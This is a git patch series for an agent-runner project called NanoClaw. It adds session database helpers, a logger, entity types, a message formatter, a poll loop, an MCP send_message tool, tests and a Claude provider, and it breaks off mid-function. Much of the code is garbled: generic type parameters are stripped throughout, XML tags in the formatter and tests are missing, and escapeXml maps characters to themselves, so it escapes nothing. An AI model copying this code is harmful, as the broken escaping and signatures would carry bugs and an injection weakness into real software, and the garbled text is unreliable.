FROM sessions WHERE messaging_group_id = ? AND thread_id IS NULL AND status = ?') + .get(messagingGroupId, 'active') as Session | undefined; +} + +export function getSessionsByAgentGroup(agentGroupId: string): Session[] { + return getDb().prepare('SELECT * FROM sessions WHERE agent_group_id = ?').all(agentGroupId) as Session[]; +} + +export function getActiveSessions(): Session[] { + return getDb().prepare("SELECT * FROM sessions WHERE status = 'active'").all() as Session[]; +} + +export function getRunningSessions(): Session[] { + return getDb().prepare("SELECT * FROM sessions WHERE container_status IN ('running', 'idle')").all() as Session[]; +} + +export function updateSession( + id: string, + updates: Partial>, +): void { + const fields: string[] = []; + const values: Record = { id }; + + for (const [key, value] of Object.entries(updates)) { + if (value !== undefined) { + fields.push(`${key} = @${key}`); + values[key] = value; + } + } + if (fields.length === 0) return; + + getDb() + .prepare(`UPDATE sessions SET ${fields.join(', ')} WHERE id = @id`) + .run(values); +} + +export function deleteSession(id: string): void { + getDb().prepare('DELETE FROM sessions WHERE id = ?').run(id); +} + +// ── Pending Questions ── + +export function createPendingQuestion(pq: PendingQuestion): void { + getDb() + .prepare( + `INSERT INTO pending_questions (question_id, session_id, message_out_id, platform_id, channel_type, thread_id, created_at) + VALUES (@question_id, @session_id, @message_out_id, @platform_id, @channel_type, @thread_id, @created_at)`, + ) + .run(pq); +} + +export function getPendingQuestion(questionId: string): PendingQuestion | undefined { + return getDb().prepare('SELECT * FROM pending_questions WHERE question_id = ?').get(questionId) as + | PendingQuestion + | undefined; +} + +export function deletePendingQuestion(questionId: string): void { + getDb().prepare('DELETE FROM pending_questions WHERE question_id = ?').run(questionId); +} diff --git a/src/log.ts b/src/log.ts new file mode 100644 index 0000000..d1e820c --- /dev/null +++ b/src/log.ts @@ -0,0 +1,64 @@ +const LEVELS = { debug: 20, info: 30, warn: 40, error: 50, fatal: 60 } as const; +type Level = keyof typeof LEVELS; + +const COLORS: Record = { + debug: '\x1b[34m', + info: '\x1b[32m', + warn: '\x1b[33m', + error: '\x1b[31m', + fatal: '\x1b[41m\x1b[37m', +}; +const KEY_COLOR = '\x1b[35m'; +const MSG_COLOR = '\x1b[36m'; +const RESET = '\x1b[39m'; +const FULL_RESET = '\x1b[0m'; + +const threshold = LEVELS[(process.env.LOG_LEVEL as Level) || 'info'] ?? LEVELS.info; + +function formatErr(err: unknown): string { + if (err instanceof Error) { + return `{ type: "${err.constructor.name}", message: "${err.message}", stack: ${err.stack} }`; + } + return JSON.stringify(err); +} + +function formatData(data: Record): string { + const parts: string[] = []; + for (const [k, v] of Object.entries(data)) { + parts.push(`${KEY_COLOR}${k}${RESET}=${k === 'err' ? formatErr(v) : JSON.stringify(v)}`); + } + return parts.length ? ' ' + parts.join(' ') : ''; +} + +function ts(): string { + const d = new Date(); + const hh = String(d.getHours()).padStart(2, '0'); + const mm = String(d.getMinutes()).padStart(2, '0'); + const ss = String(d.getSeconds()).padStart(2, '0'); + const ms = String(d.getMilliseconds()).padStart(3, '0'); + return `${hh}:${mm}:${ss}.${ms}`; +} + +function emit(level: Level, msg: string, data?: Record): void { + if (LEVELS[level] < threshold) return; + const tag = `${COLORS[level]}${level.toUpperCase()}${level === 'fatal' ? FULL_RESET : RESET}`; + const stream = LEVELS[level] >= LEVELS.warn ? process.stderr : process.stdout; + stream.write(`[${ts()}] ${tag} ${MSG_COLOR}${msg}${RESET}${data ? formatData(data) : ''}\n`); +} + +export const log = { + debug: (msg: string, data?: Record) => emit('debug', msg, data), + info: (msg: string, data?: Record) => emit('info', msg, data), + warn: (msg: string, data?: Record) => emit('warn', msg, data), + error: (msg: string, data?: Record) => emit('error', msg, data), + fatal: (msg: string, data?: Record) => emit('fatal', msg, data), +}; + +process.on('uncaughtException', (err) => { + log.fatal('Uncaught exception', { err }); + process.exit(1); +}); + +process.on('unhandledRejection', (reason) => { + log.error('Unhandled rejection', { err: reason }); +}); diff --git a/src/types-v2.ts b/src/types-v2.ts new file mode 100644 index 0000000..7b202bb --- /dev/null +++ b/src/types-v2.ts @@ -0,0 +1,90 @@ +// ── Central DB entities ── + +export interface AgentGroup { + id: string; + name: string; + folder: string; + is_admin: number; // 0 | 1 + agent_provider: string | null; + container_config: string | null; // JSON: { additionalMounts, timeout } + created_at: string; +} + +export interface MessagingGroup { + id: string; + channel_type: string; + platform_id: string; + name: string | null; + is_group: number; // 0 | 1 + admin_user_id: string | null; + created_at: string; +} + +export interface MessagingGroupAgent { + id: string; + messaging_group_id: string; + agent_group_id: string; + trigger_rules: string | null; // JSON: { pattern, mentionOnly, excludeSenders, includeSenders } + response_scope: 'all' | 'triggered' | 'allowlisted'; + session_mode: 'shared' | 'per-thread'; + priority: number; + created_at: string; +} + +export interface Session { + id: string; + agent_group_id: string; + messaging_group_id: string | null; + thread_id: string | null; + agent_provider: string | null; + status: 'active' | 'closed'; + container_status: 'running' | 'idle' | 'stopped'; + last_active: string | null; + created_at: string; +} + +// ── Session DB entities ── + +export type MessageInKind = 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system'; +export type MessageInStatus = 'pending' | 'processing' | 'completed' | 'failed'; + +export interface MessageIn { + id: string; + kind: MessageInKind; + timestamp: string; + status: MessageInStatus; + status_changed: string | null; + process_after: string | null; + recurrence: string | null; + tries: number; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; // JSON blob +} + +export interface MessageOut { + id: string; + in_reply_to: string | null; + timestamp: string; + delivered: number; // 0 | 1 + deliver_after: string | null; + recurrence: string | null; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; // JSON blob +} + +// ── Pending questions (central DB) ── + +export interface PendingQuestion { + question_id: string; + session_id: string; + message_out_id: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + created_at: string; +} From 5a0098edc99205b6f1b75cf09aacdbedaa5fc7f3 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:36:55 +0300 Subject: [PATCH 008/295] =?UTF-8?q?v2=20phase=202:=20agent-runner=20?= =?UTF-8?q?=E2=80=94=20provider=20interface,=20poll=20loop,=20formatter?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit AgentProvider abstraction with Claude and Mock implementations. Poll loop reads messages_in, formats by kind, queries provider, writes results to messages_out. Concurrent polling pushes follow-up messages into active queries. - providers/types.ts: AgentProvider, AgentQuery, ProviderEvent - providers/claude.ts: wraps Agent SDK with MessageStream, hooks, transcript archiving - providers/mock.ts: canned responses with push() support - providers/factory.ts: createProvider() - formatter.ts: format by kind (chat/task/webhook/system), XML escaping, routing extraction - poll-loop.ts: poll → format → query → write, concurrent polling - mcp-tools.ts: MCP server with send_message tool - index-v2.ts: new entry point (config from env, enters poll loop) - 11 new tests, all 288 tests pass Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/formatter.ts | 126 ++++++++++ container/agent-runner/src/index-v2.ts | 96 ++++++++ container/agent-runner/src/mcp-tools.ts | 81 ++++++ container/agent-runner/src/poll-loop.test.ts | 210 ++++++++++++++++ container/agent-runner/src/poll-loop.ts | 162 ++++++++++++ .../agent-runner/src/providers/claude.ts | 231 ++++++++++++++++++ .../agent-runner/src/providers/factory.ts | 16 ++ container/agent-runner/src/providers/mock.ts | 66 +++++ container/agent-runner/src/providers/types.ts | 56 +++++ vitest.config.ts | 2 +- 10 files changed, 1045 insertions(+), 1 deletion(-) create mode 100644 container/agent-runner/src/formatter.ts create mode 100644 container/agent-runner/src/index-v2.ts create mode 100644 container/agent-runner/src/mcp-tools.ts create mode 100644 container/agent-runner/src/poll-loop.test.ts create mode 100644 container/agent-runner/src/poll-loop.ts create mode 100644 container/agent-runner/src/providers/claude.ts create mode 100644 container/agent-runner/src/providers/factory.ts create mode 100644 container/agent-runner/src/providers/mock.ts create mode 100644 container/agent-runner/src/providers/types.ts diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts new file mode 100644 index 0000000..f3bb5a8 --- /dev/null +++ b/container/agent-runner/src/formatter.ts @@ -0,0 +1,126 @@ +import type { MessageInRow } from './db/messages-in.js'; + +/** + * Routing context extracted from messages_in rows. + * Copied to messages_out by default so responses go back to the sender. + */ +export interface RoutingContext { + platformId: string | null; + channelType: string | null; + threadId: string | null; + inReplyTo: string | null; +} + +/** + * Extract routing context from a batch of messages. + * Uses the first message's routing fields. + */ +export function extractRouting(messages: MessageInRow[]): RoutingContext { + const first = messages[0]; + return { + platformId: first?.platform_id ?? null, + channelType: first?.channel_type ?? null, + threadId: first?.thread_id ?? null, + inReplyTo: first?.id ?? null, + }; +} + +/** + * Format a batch of messages_in rows into a prompt string. + * Strips routing fields — the agent never sees platform_id, channel_type, thread_id. + */ +export function formatMessages(messages: MessageInRow[]): string { + if (messages.length === 0) return ''; + + // Group by kind + const chatMessages = messages.filter((m) => m.kind === 'chat' || m.kind === 'chat-sdk'); + const taskMessages = messages.filter((m) => m.kind === 'task'); + const webhookMessages = messages.filter((m) => m.kind === 'webhook'); + const systemMessages = messages.filter((m) => m.kind === 'system'); + + const parts: string[] = []; + + if (chatMessages.length > 0) { + parts.push(formatChatMessages(chatMessages)); + } + if (taskMessages.length > 0) { + parts.push(...taskMessages.map(formatTaskMessage)); + } + if (webhookMessages.length > 0) { + parts.push(...webhookMessages.map(formatWebhookMessage)); + } + if (systemMessages.length > 0) { + parts.push(...systemMessages.map(formatSystemMessage)); + } + + return parts.join('\n\n'); +} + +function formatChatMessages(messages: MessageInRow[]): string { + if (messages.length === 1) { + return formatSingleChat(messages[0]); + } + + const lines = ['']; + for (const msg of messages) { + const content = parseContent(msg.content); + const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; + const time = formatTime(msg.timestamp); + const text = content.text || ''; + lines.push(`${escapeXml(text)}`); + } + lines.push(''); + return lines.join('\n'); +} + +function formatSingleChat(msg: MessageInRow): string { + const content = parseContent(msg.content); + const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; + const time = formatTime(msg.timestamp); + const text = content.text || ''; + return `${escapeXml(text)}`; +} + +function formatTaskMessage(msg: MessageInRow): string { + const content = parseContent(msg.content); + const parts = ['[SCHEDULED TASK]']; + if (content.scriptOutput) { + parts.push('', 'Script output:', JSON.stringify(content.scriptOutput, null, 2)); + } + parts.push('', 'Instructions:', content.prompt || ''); + return parts.join('\n'); +} + +function formatWebhookMessage(msg: MessageInRow): string { + const content = parseContent(msg.content); + const source = content.source || 'unknown'; + const event = content.event || 'unknown'; + return `[WEBHOOK: ${source}/${event}]\n\n${JSON.stringify(content.payload || content, null, 2)}`; +} + +function formatSystemMessage(msg: MessageInRow): string { + const content = parseContent(msg.content); + return `[SYSTEM RESPONSE]\n\nAction: ${content.action || 'unknown'}\nStatus: ${content.status || 'unknown'}\nResult: ${JSON.stringify(content.result || null)}`; +} + +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function parseContent(json: string): any { + try { + return JSON.parse(json); + } catch { + return { text: json }; + } +} + +function formatTime(timestamp: string): string { + try { + const d = new Date(timestamp); + return `${d.getHours().toString().padStart(2, '0')}:${d.getMinutes().toString().padStart(2, '0')}`; + } catch { + return timestamp; + } +} + +function escapeXml(str: string): string { + return str.replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); +} diff --git a/container/agent-runner/src/index-v2.ts b/container/agent-runner/src/index-v2.ts new file mode 100644 index 0000000..1005e56 --- /dev/null +++ b/container/agent-runner/src/index-v2.ts @@ -0,0 +1,96 @@ +/** + * NanoClaw Agent Runner v2 + * + * Runs inside a container. All IO goes through the session DB. + * No stdin, no stdout markers, no IPC files. + * + * Config: + * - SESSION_DB_PATH: path to session SQLite DB (default: /workspace/session.db) + * - AGENT_PROVIDER: 'claude' | 'mock' (default: claude) + * - NANOCLAW_ASSISTANT_NAME: assistant name for transcript archiving + * - NANOCLAW_ADMIN_USER_ID: admin user ID for permission checks + * + * Mount structure: + * /workspace/ + * session.db ← session SQLite DB + * outbox/ ← outbound files + * agent/ ← agent group folder (CLAUDE.md, skills, working files) + * .claude/ ← Claude SDK session data + */ + +import fs from 'fs'; +import path from 'path'; +import { fileURLToPath } from 'url'; + +import { createProvider, type ProviderName } from './providers/factory.js'; +import { runPollLoop } from './poll-loop.js'; + +function log(msg: string): void { + console.error(`[agent-runner] ${msg}`); +} + +const CWD = '/workspace/agent'; +const GLOBAL_CLAUDE_MD = '/workspace/global/CLAUDE.md'; + +async function main(): Promise { + const providerName = (process.env.AGENT_PROVIDER || 'claude') as ProviderName; + const assistantName = process.env.NANOCLAW_ASSISTANT_NAME; + + log(`Starting v2 agent-runner (provider: ${providerName})`); + + const provider = createProvider(providerName, { assistantName }); + + // Load global CLAUDE.md as additional system context + let systemPrompt: string | undefined; + if (fs.existsSync(GLOBAL_CLAUDE_MD)) { + systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); + log('Loaded global CLAUDE.md'); + } + + // Discover additional directories mounted at /workspace/extra/* + const additionalDirectories: string[] = []; + const extraBase = '/workspace/extra'; + if (fs.existsSync(extraBase)) { + for (const entry of fs.readdirSync(extraBase)) { + const fullPath = path.join(extraBase, entry); + if (fs.statSync(fullPath).isDirectory()) { + additionalDirectories.push(fullPath); + } + } + if (additionalDirectories.length > 0) { + log(`Additional directories: ${additionalDirectories.join(', ')}`); + } + } + + // MCP server path + const __dirname = path.dirname(fileURLToPath(import.meta.url)); + const mcpServerPath = path.join(__dirname, 'mcp-tools.js'); + + // SDK env + const env: Record = { + ...process.env, + CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', + }; + + await runPollLoop({ + provider, + cwd: CWD, + mcpServers: { + nanoclaw: { + command: 'node', + args: [mcpServerPath], + env: { + SESSION_DB_PATH: process.env.SESSION_DB_PATH || '/workspace/session.db', + }, + }, + }, + systemPrompt, + env, + additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, + }); +} + +main().catch((err) => { + log(`Fatal error: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); +}); diff --git a/container/agent-runner/src/mcp-tools.ts b/container/agent-runner/src/mcp-tools.ts new file mode 100644 index 0000000..e56d6a8 --- /dev/null +++ b/container/agent-runner/src/mcp-tools.ts @@ -0,0 +1,81 @@ +import { Server } from '@modelcontextprotocol/sdk/server/index.js'; +import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; +import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; + +import { writeMessageOut } from './db/messages-out.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +/** + * Start the MCP server with NanoClaw tools. + * Reads the session DB path from SESSION_DB_PATH env var. + * Routing context is passed via env vars from the poll loop. + */ +export async function startMcpServer(): Promise { + const server = new Server({ name: 'nanoclaw', version: '2.0.0' }, { capabilities: { tools: {} } }); + + server.setRequestHandler(ListToolsRequestSchema, async () => ({ + tools: [ + { + name: 'send_message', + description: 'Send a chat message to the current conversation or a specified destination.', + inputSchema: { + type: 'object' as const, + properties: { + text: { type: 'string', description: 'Message content' }, + channel: { type: 'string', description: 'Target channel type (default: reply to origin)' }, + platformId: { type: 'string', description: 'Target platform ID' }, + threadId: { type: 'string', description: 'Target thread ID' }, + }, + required: ['text'], + }, + }, + ], + })); + + server.setRequestHandler(CallToolRequestSchema, async (request) => { + const { name, arguments: args } = request.params; + + if (name === 'send_message') { + const text = args?.text as string; + if (!text) { + return { content: [{ type: 'text', text: 'Error: text is required' }] }; + } + + const id = generateId(); + const platformId = (args?.platformId as string) || process.env.NANOCLAW_PLATFORM_ID || null; + const channelType = (args?.channel as string) || process.env.NANOCLAW_CHANNEL_TYPE || null; + const threadId = (args?.threadId as string) || process.env.NANOCLAW_THREAD_ID || null; + + writeMessageOut({ + id, + kind: 'chat', + platform_id: platformId, + channel_type: channelType, + thread_id: threadId, + content: JSON.stringify({ text }), + }); + + log(`send_message: ${id} → ${channelType || 'default'}/${platformId || 'default'}`); + return { content: [{ type: 'text', text: `Message sent (id: ${id})` }] }; + } + + return { content: [{ type: 'text', text: `Unknown tool: ${name}` }] }; + }); + + const transport = new StdioServerTransport(); + await server.connect(transport); + log('MCP server started'); +} + +// Run as standalone process +startMcpServer().catch((err) => { + log(`MCP server error: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); +}); diff --git a/container/agent-runner/src/poll-loop.test.ts b/container/agent-runner/src/poll-loop.test.ts new file mode 100644 index 0000000..7cc3074 --- /dev/null +++ b/container/agent-runner/src/poll-loop.test.ts @@ -0,0 +1,210 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; + +import { initTestSessionDb, closeSessionDb, getSessionDb } from './db/connection.js'; +import { getPendingMessages, markCompleted } from './db/messages-in.js'; +import { getUndeliveredMessages } from './db/messages-out.js'; +import { formatMessages, extractRouting } from './formatter.js'; +import { MockProvider } from './providers/mock.js'; + +beforeEach(() => { + initTestSessionDb(); +}); + +afterEach(() => { + closeSessionDb(); +}); + +function insertMessage(id: string, kind: string, content: object, opts?: { processAfter?: string }) { + getSessionDb() + .prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, process_after, content) + VALUES (?, ?, datetime('now'), 'pending', ?, ?)`, + ) + .run(id, kind, opts?.processAfter ?? null, JSON.stringify(content)); +} + +describe('formatter', () => { + it('should format a single chat message', () => { + insertMessage('m1', 'chat', { sender: 'John', text: 'Hello world' }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('sender="John"'); + expect(prompt).toContain('Hello world'); + }); + + it('should format multiple chat messages as XML block', () => { + insertMessage('m1', 'chat', { sender: 'John', text: 'Hello' }); + insertMessage('m2', 'chat', { sender: 'Jane', text: 'Hi there' }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain(''); + expect(prompt).toContain(''); + expect(prompt).toContain('sender="John"'); + expect(prompt).toContain('sender="Jane"'); + }); + + it('should format task messages', () => { + insertMessage('m1', 'task', { prompt: 'Review open PRs' }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('[SCHEDULED TASK]'); + expect(prompt).toContain('Review open PRs'); + }); + + it('should format webhook messages', () => { + insertMessage('m1', 'webhook', { source: 'github', event: 'push', payload: { ref: 'main' } }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('[WEBHOOK: github/push]'); + }); + + it('should format system messages', () => { + insertMessage('m1', 'system', { action: 'register_group', status: 'success', result: { id: 'ag-1' } }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('[SYSTEM RESPONSE]'); + expect(prompt).toContain('register_group'); + }); + + it('should handle mixed kinds', () => { + insertMessage('m1', 'chat', { sender: 'John', text: 'Hello' }); + insertMessage('m2', 'system', { action: 'test', status: 'ok', result: null }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('sender="John"'); + expect(prompt).toContain('[SYSTEM RESPONSE]'); + }); + + it('should escape XML in content', () => { + insertMessage('m1', 'chat', { sender: 'A y && z' }); + const messages = getPendingMessages(); + const prompt = formatMessages(messages); + expect(prompt).toContain('A<B'); + expect(prompt).toContain('x > y && z'); + }); +}); + +describe('routing', () => { + it('should extract routing from messages', () => { + getSessionDb() + .prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content) + VALUES ('m1', 'chat', datetime('now'), 'pending', 'chan-123', 'discord', 'thread-456', '{"text":"hi"}')`, + ) + .run(); + + const messages = getPendingMessages(); + const routing = extractRouting(messages); + expect(routing.platformId).toBe('chan-123'); + expect(routing.channelType).toBe('discord'); + expect(routing.threadId).toBe('thread-456'); + expect(routing.inReplyTo).toBe('m1'); + }); +}); + +describe('mock provider', () => { + it('should produce init + result events', async () => { + const provider = new MockProvider((prompt) => `Echo: ${prompt}`); + const query = provider.query({ + prompt: 'Hello', + cwd: '/tmp', + mcpServers: {}, + env: {}, + }); + + const events: Array<{ type: string }> = []; + // End the stream after initial response + setTimeout(() => query.end(), 50); + + for await (const event of query.events) { + events.push(event); + } + + expect(events.length).toBeGreaterThanOrEqual(2); + expect(events[0].type).toBe('init'); + expect(events[1].type).toBe('result'); + expect((events[1] as { text: string }).text).toBe('Echo: Hello'); + }); + + it('should handle push() during active query', async () => { + const provider = new MockProvider((prompt) => `Re: ${prompt}`); + const query = provider.query({ + prompt: 'First', + cwd: '/tmp', + mcpServers: {}, + env: {}, + }); + + const events: Array<{ type: string; text?: string }> = []; + + // Push a follow-up after a short delay, then end + setTimeout(() => query.push('Second'), 30); + setTimeout(() => query.end(), 60); + + for await (const event of query.events) { + events.push(event); + } + + const results = events.filter((e) => e.type === 'result'); + expect(results).toHaveLength(2); + expect(results[0].text).toBe('Re: First'); + expect(results[1].text).toBe('Re: Second'); + }); +}); + +describe('end-to-end with mock provider', () => { + it('should read messages_in, process with mock provider, write messages_out', async () => { + // Insert a chat message + insertMessage('m1', 'chat', { sender: 'User', text: 'What is 2+2?' }); + + // Read and process + const messages = getPendingMessages(); + expect(messages).toHaveLength(1); + + const routing = extractRouting(messages); + const prompt = formatMessages(messages); + + // Create mock provider and run query + const provider = new MockProvider(() => 'The answer is 4'); + const query = provider.query({ + prompt, + cwd: '/tmp', + mcpServers: {}, + env: {}, + }); + + // Process events — simulate what poll-loop does + const { markProcessing } = await import('./db/messages-in.js'); + const { writeMessageOut } = await import('./db/messages-out.js'); + + markProcessing(['m1']); + + setTimeout(() => query.end(), 50); + + for await (const event of query.events) { + if (event.type === 'result' && event.text) { + writeMessageOut({ + id: `out-${Date.now()}`, + in_reply_to: routing.inReplyTo, + kind: 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: event.text }), + }); + } + } + + markCompleted(['m1']); + + // Verify: message was processed + const processed = getPendingMessages(); + expect(processed).toHaveLength(0); + + // Verify: response was written + const outMessages = getUndeliveredMessages(); + expect(outMessages).toHaveLength(1); + expect(JSON.parse(outMessages[0].content).text).toBe('The answer is 4'); + expect(outMessages[0].in_reply_to).toBe('m1'); + }); +}); diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts new file mode 100644 index 0000000..e2712a5 --- /dev/null +++ b/container/agent-runner/src/poll-loop.ts @@ -0,0 +1,162 @@ +import { getPendingMessages, markProcessing, markCompleted } from './db/messages-in.js'; +import { writeMessageOut } from './db/messages-out.js'; +import { formatMessages, extractRouting, type RoutingContext } from './formatter.js'; +import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; + +const POLL_INTERVAL_MS = 1000; +const ACTIVE_POLL_INTERVAL_MS = 500; + +function log(msg: string): void { + console.error(`[poll-loop] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +export interface PollLoopConfig { + provider: AgentProvider; + cwd: string; + mcpServers: Record; + systemPrompt?: string; + env: Record; + additionalDirectories?: string[]; +} + +/** + * Main poll loop. Runs indefinitely until the process is killed. + * + * 1. Poll messages_in for pending rows + * 2. Format into prompt, call provider.query() + * 3. While query active: continue polling, push new messages via provider.push() + * 4. On result: write messages_out + * 5. Mark messages completed + * 6. Loop + */ +export async function runPollLoop(config: PollLoopConfig): Promise { + let sessionId: string | undefined; + let resumeAt: string | undefined; + + while (true) { + const messages = getPendingMessages(); + + if (messages.length === 0) { + await sleep(POLL_INTERVAL_MS); + continue; + } + + const ids = messages.map((m) => m.id); + markProcessing(ids); + + const routing = extractRouting(messages); + const prompt = formatMessages(messages); + + log(`Processing ${messages.length} message(s), kinds: ${[...new Set(messages.map((m) => m.kind))].join(',')}`); + + // Set routing context as env vars for MCP tools + setRoutingEnv(routing, config.env); + + const query = config.provider.query({ + prompt, + sessionId, + resumeAt, + cwd: config.cwd, + mcpServers: config.mcpServers, + systemPrompt: config.systemPrompt, + env: config.env, + additionalDirectories: config.additionalDirectories, + }); + + // Process the query while concurrently polling for new messages + const result = await processQuery(query, routing, config); + + if (result.sessionId) sessionId = result.sessionId; + if (result.resumeAt) resumeAt = result.resumeAt; + + markCompleted(ids); + log(`Completed ${ids.length} message(s)`); + } +} + +interface QueryResult { + sessionId?: string; + resumeAt?: string; +} + +async function processQuery(query: AgentQuery, routing: RoutingContext, config: PollLoopConfig): Promise { + let querySessionId: string | undefined; + let done = false; + + // Concurrent polling: push new messages into the active query + const pollHandle = setInterval(() => { + if (done) return; + const newMessages = getPendingMessages(); + if (newMessages.length === 0) return; + + const newIds = newMessages.map((m) => m.id); + markProcessing(newIds); + + const prompt = formatMessages(newMessages); + log(`Pushing ${newMessages.length} follow-up message(s) into active query`); + query.push(prompt); + + // Update routing env for MCP tools with latest message context + const newRouting = extractRouting(newMessages); + setRoutingEnv(newRouting, config.env); + + // Mark these completed immediately (they've been pushed to the provider) + markCompleted(newIds); + }, ACTIVE_POLL_INTERVAL_MS); + + try { + for await (const event of query.events) { + handleEvent(event, routing); + + if (event.type === 'init') { + querySessionId = event.sessionId; + } else if (event.type === 'result' && event.text) { + writeMessageOut({ + id: generateId(), + in_reply_to: routing.inReplyTo, + kind: routing.channelType ? 'chat' : 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: event.text }), + }); + } + } + } finally { + done = true; + clearInterval(pollHandle); + } + + return { sessionId: querySessionId }; +} + +function handleEvent(event: ProviderEvent, _routing: RoutingContext): void { + switch (event.type) { + case 'init': + log(`Session: ${event.sessionId}`); + break; + case 'result': + log(`Result: ${event.text ? event.text.slice(0, 200) : '(empty)'}`); + break; + case 'error': + log(`Error: ${event.message} (retryable: ${event.retryable}${event.classification ? `, ${event.classification}` : ''})`); + break; + case 'progress': + log(`Progress: ${event.message}`); + break; + } +} + +function setRoutingEnv(routing: RoutingContext, env: Record): void { + env.NANOCLAW_PLATFORM_ID = routing.platformId ?? undefined; + env.NANOCLAW_CHANNEL_TYPE = routing.channelType ?? undefined; + env.NANOCLAW_THREAD_ID = routing.threadId ?? undefined; +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} diff --git a/container/agent-runner/src/providers/claude.ts b/container/agent-runner/src/providers/claude.ts new file mode 100644 index 0000000..c25ff37 --- /dev/null +++ b/container/agent-runner/src/providers/claude.ts @@ -0,0 +1,231 @@ +import fs from 'fs'; +import path from 'path'; + +import { query as sdkQuery, type HookCallback, type PreCompactHookInput } from '@anthropic-ai/claude-agent-sdk'; + +import type { AgentProvider, AgentQuery, ProviderEvent, QueryInput } from './types.js'; + +function log(msg: string): void { + console.error(`[claude-provider] ${msg}`); +} + +// Tool allowlist for NanoClaw agent containers +const TOOL_ALLOWLIST = [ + 'Bash', + 'Read', + 'Write', + 'Edit', + 'Glob', + 'Grep', + 'WebSearch', + 'WebFetch', + 'Task', + 'TaskOutput', + 'TaskStop', + 'TeamCreate', + 'TeamDelete', + 'SendMessage', + 'TodoWrite', + 'ToolSearch', + 'Skill', + 'NotebookEdit', + 'mcp__nanoclaw__*', +]; + +interface SDKUserMessage { + type: 'user'; + message: { role: 'user'; content: string }; + parent_tool_use_id: null; + session_id: string; +} + +/** + * Push-based async iterable for streaming user messages to the Claude SDK. + */ +class MessageStream { + private queue: SDKUserMessage[] = []; + private waiting: (() => void) | null = null; + private done = false; + + push(text: string): void { + this.queue.push({ + type: 'user', + message: { role: 'user', content: text }, + parent_tool_use_id: null, + session_id: '', + }); + this.waiting?.(); + } + + end(): void { + this.done = true; + this.waiting?.(); + } + + async *[Symbol.asyncIterator](): AsyncGenerator { + while (true) { + while (this.queue.length > 0) { + yield this.queue.shift()!; + } + if (this.done) return; + await new Promise((r) => { + this.waiting = r; + }); + this.waiting = null; + } + } +} + +// ── Transcript archiving (PreCompact hook) ── + +interface ParsedMessage { + role: 'user' | 'assistant'; + content: string; +} + +function parseTranscript(content: string): ParsedMessage[] { + const messages: ParsedMessage[] = []; + for (const line of content.split('\n')) { + if (!line.trim()) continue; + try { + const entry = JSON.parse(line); + if (entry.type === 'user' && entry.message?.content) { + const text = typeof entry.message.content === 'string' ? entry.message.content : entry.message.content.map((c: { text?: string }) => c.text || '').join(''); + if (text) messages.push({ role: 'user', content: text }); + } else if (entry.type === 'assistant' && entry.message?.content) { + const textParts = entry.message.content.filter((c: { type: string }) => c.type === 'text').map((c: { text: string }) => c.text); + const text = textParts.join(''); + if (text) messages.push({ role: 'assistant', content: text }); + } + } catch { + /* skip unparseable lines */ + } + } + return messages; +} + +function formatTranscriptMarkdown(messages: ParsedMessage[], title?: string | null, assistantName?: string): string { + const now = new Date(); + const dateStr = now.toLocaleString('en-US', { month: 'short', day: 'numeric', hour: 'numeric', minute: '2-digit', hour12: true }); + const lines = [`# ${title || 'Conversation'}`, '', `Archived: ${dateStr}`, '', '---', '']; + for (const msg of messages) { + const sender = msg.role === 'user' ? 'User' : assistantName || 'Assistant'; + const content = msg.content.length > 2000 ? msg.content.slice(0, 2000) + '...' : msg.content; + lines.push(`**${sender}**: ${content}`, ''); + } + return lines.join('\n'); +} + +function createPreCompactHook(assistantName?: string): HookCallback { + return async (input) => { + const preCompact = input as PreCompactHookInput; + const { transcript_path: transcriptPath, session_id: sessionId } = preCompact; + + if (!transcriptPath || !fs.existsSync(transcriptPath)) { + log('No transcript found for archiving'); + return {}; + } + + try { + const content = fs.readFileSync(transcriptPath, 'utf-8'); + const messages = parseTranscript(content); + if (messages.length === 0) return {}; + + // Try to get summary from sessions index + let summary: string | undefined; + const indexPath = path.join(path.dirname(transcriptPath), 'sessions-index.json'); + if 